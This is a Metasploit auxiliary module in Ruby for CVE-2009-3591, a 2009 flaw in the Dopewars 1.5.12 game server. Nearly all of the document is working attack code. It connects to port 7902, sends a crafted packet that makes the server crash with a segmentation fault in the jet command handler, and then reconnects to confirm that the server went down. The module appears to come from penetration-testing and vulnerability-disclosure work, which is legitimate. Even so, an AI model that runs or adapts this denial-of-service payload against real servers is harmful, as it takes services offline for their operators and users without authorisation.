Dopewars Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Dopewars Denial of Service',  
'Description' => %q{  
The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to  
a lack of input validation.  
},  
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2009-3591' ],  
[ 'OSVDB', '58884' ],  
[ 'BID', '36606' ]  
],  
'DisclosureDate' => '2009-10-05' ))  
  
register_options([Opt::RPORT(7902)])  
end  
  
def run  
# The jet command is vulnerable.  
# Program received signal SIGSEGV, Segmentation fault.  
# [Switching to Thread 0xb74916c0 (LWP 30638)]  
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at  
# serverside.c:525  
# 525 dopelog(4, LF_SERVER, "%s jets to %s",  
#  
connect  
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"  
print_status("Sending dos packet...")  
sock.put(pkt)  
disconnect  
  
print_status("Checking for success...")  
select(nil, nil, nil, 2)  
begin  
connect  
rescue ::Interrupt  
raise $!  
rescue ::Rex::ConnectionRefused  
print_good("Dopewars server successfully shut down!")  
else  
print_error("DOS attack unsuccessful")  
ensure  
disconnect  
end  
end  
end  
`